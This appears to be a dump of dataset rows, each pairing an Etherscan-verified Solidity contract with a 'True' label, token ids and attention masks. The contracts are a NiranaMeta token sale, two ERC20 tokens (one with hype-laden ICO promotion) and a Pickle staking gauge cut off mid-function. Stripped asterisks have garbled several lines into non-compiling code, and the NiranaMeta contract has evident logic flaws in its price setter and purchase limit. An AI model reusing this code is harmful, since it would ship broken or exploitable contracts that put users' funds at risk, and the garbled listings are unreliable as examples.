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/** Submitted for verification at Etherscan.io on 2021-12-17 / /** Submitted for verification at BscScan.com on 2021-12-01 / /** Submitted for verification at Etherscan.io on 2021-11-30 / pragma solidity >=0.6.0 <0.8.0; interface MNU20 { function transfer(address receiver, uint amount) external; function transferFrom(address _from, address _to, uint256 _value)external; function balanceOf(address receiver)external returns(uint256); } contract NiranaMeta{ address public owner; address public MNUerc20; uint256 public price; uint256 public limit; mapping(address=>uint256)public users; modifier onlyOwner() { require(owner==msg.sender, "Not an administrator"); _; } constructor(address _MNUaddress)public{ owner=msg.sender; //MNU=address(0x48fbff00e8ebc90c118b44b3d96b915e48656a73); //USDT=address(0xdac17f958d2ee523a2206206994597c13d831ec7); price=0.000048 ether; MNUerc20=_MNUaddress; } receive() external payable {} function EthBuyMnu(uint256 _value)payable public{ require(users[msg.sender]<limit); uint256 amount=msg.value/price1 ether; MNU20(MNUerc20).transfer(msg.sender,amount); users[msg.sender]=amount; } function setPrice(uint256 amount,uint256 _limit) onlyOwner public { price=price; limit=_limit10**18; } function withdraw(address payable addr,uint256 amount) onlyOwner public { addr.transfer(amount); } function withdrawMNU(address payable addr,uint256 amount) onlyOwner public { MNU20(MNUerc20).transfer(addr,amount); } function getPrice()public view returns(uint256,uint256){ return(price,limit); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2459, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 23533, 29378, 1012, 4012, 2006, 25682, 1011, 2260, 1011, 5890, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 2382, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 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/** Submitted for verification at Etherscan.io on 2021-06-08 / pragma solidity 0.6.6; // ---------------------------------------------------------------------------- // 'NotYourMamasCoin' token contract // // Deployed to : 0x133889976f43BeE67F6968B17b6970DAe6C4f2A9 // Symbol : NYMC // Name : NotYourMamasCoin // Total supply: 1000000 // Decimals : 0 // // Not Your Mama's Coin Salutes You // // (c) by The One They Call Squishy // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() virtual public view returns (uint); function balanceOf(address tokenOwner) virtual public view returns (uint balance); function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); function transfer(address to, uint tokens) virtual public returns (bool success); function approve(address spender, uint tokens) virtual public returns (bool success); function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract NotYourMamasCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "NYMC"; name = "NotYourMamasCoin"; decimals = 0; _totalSupply = 1000000; balances[0x133889976f43BeE67F6968B17b6970DAe6C4f2A9] = _totalSupply; emit Transfer(address(0), 0x133889976f43BeE67F6968B17b6970DAe6C4f2A9, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public override view returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public override view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public override returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public override returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public override returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public override view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ // function () external payable { // revert(); // } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5511, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 2025, 29337, 17830, 9335, 3597, 2378, 1005, 19204, 3206, 1013, 1013, 1013, 1013, 7333, 2000, 1024, 1014, 2595, 17134, 22025, 2620, 2683, 2683, 2581, 2575, 2546, 23777, 11306, 2575, 2581, 2546, 2575, 2683, 2575, 2620, 2497, 16576, 2497, 2575, 2683, 19841, 6858, 2575, 2278, 2549, 2546, 2475, 2050, 2683, 1013, 1013, 6454, 1024, 6396, 12458, 1013, 1013, 2171, 1024, 2025, 29337, 17830, 9335, 3597, 2378, 1013, 1013, 2561, 4425, 1024, 6694, 8889, 2692, 1013, 1013, 26066, 2015, 1024, 1014, 1013, 1013, 1013, 1013, 2025, 2115, 9588, 1005, 1055, 9226, 17664, 2015, 2017, 1013, 1013, 1013, 1013, 1006, 1039, 1007, 2011, 1996, 2028, 2027, 2655, 5490, 27020, 10536, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 3647, 8785, 2015, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 3647, 6342, 2497, 1006, 21318, 3372, 1037, 1010, 21318, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-10-21 / pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // ⚙️ ALL BEST ICO DeFi (ALLBI)! // // Deployed to : 0xed0b26224D4629264B02f994Dcc4375DA3e6F9e4 // Symbol : ALLBI // Name : ALL BEST ICO // Total supply: 666000000.000000000000000000 // Decimals : 18 // // ®NEW ️Official ALL BEST ICO (ALLBI) Smart Contract! // You can buy our NFT offers from: https://opensea.io/collection/allbi-onlexpa-nfts // 🌐 ALLBESTICO.com (ALLBI) is extraordinary! We have a unique business model which is far superior than any other available platforms. // 👉 We will help you to create and develop your Crypto Project through our system! // // 1️⃣. Create Your Account: // ✅Sign up on our site and enter ALLBI Tokens Address which you will use to create your Cryptocurrency! // // 2️⃣. Sign in to your Profile: // ✅ You will receive a Bonus (see more information in your profile). You can enter your Cryptocurrency parameters whenever you like, after making the payment! // // 3️⃣. Pay and create Your Crypto Project (ICO): // ✅ If you choose to create your Crypto Project, you must select your Crypto Project parameters - (name, number of characters, site name ... etc.) – see 📃 https://allbestico.com/whitepaper.pdf // // 📊 Every project that has been created on our platform will receive huge opportunities for successful realization. // ✅ All new crypto projects will be advertised on our site! We'll teach you how to properly manage your Cryptocurrency, how to send tokens to other crypto addresses, how to get paid for them and so on. // 🧐see our site for more information: ALLBESTICO.com (ALLBI) (c) by / Lex Partners Ltd™️ // You can buy our NFT offers from:https://opensea.io/collection/allbi-onlexpa-nfts // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ALLBI is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ALLBI () public { symbol = "ALLBI"; name = "ALL BEST ICO"; decimals = 18; _totalSupply = 666000000000000000000000000; balances[0xed0b26224D4629264B02f994Dcc4375DA3e6F9e4] = _totalSupply; //MEW address here Transfer(address(0), 0xed0b26224D4629264B02f994Dcc4375DA3e6F9e4, _totalSupply);//MEW address here } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); 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/** Submitted for verification at Etherscan.io on 2021-08-15 / /** Submitted for verification at Etherscan.io on 2021-08-08 / // SPDX-License-Identifier: MIT pragma solidity ^0.6.7; //^0.7.5; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: "); return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a b; require(c / a == b, errorMessage); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Math { /** * @dev Returns the largest of two numbers. / function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /* * @dev Returns the smallest of two numbers. / function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /* * @dev Returns the average of two numbers. The result is rounded towards * zero. / function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); address public constant TREASURY = address(0x066419EaEf5DE53cc5da0d8702b990c5bc7D1AB3); IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require(msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract"); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; uint public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint) private _base; constructor(address _token) public { TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint) { uint _balance = _balances[account]; uint _derived = _balance.mul(40).div(100); uint _adjusted = (_totalSupply.mul(DILL.balanceOf(account)).div(DILL.totalSupply())).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender), msg.sender); } function deposit(uint256 amount) external { _deposit(amount, msg.sender); } function depositFor(uint256 amount, address account) external { _deposit(amount, account); } function _deposit(uint amount, address account) internal nonReentrant updateReward(account) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Staked(account, amount); TOKEN.safeTransferFrom(account, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint amount) internal nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TOKEN.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; PICKLE.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { PICKLE.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = PICKLE.balanceOf(address(this)); require(rewardRate <= balance.div(DURATION), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = 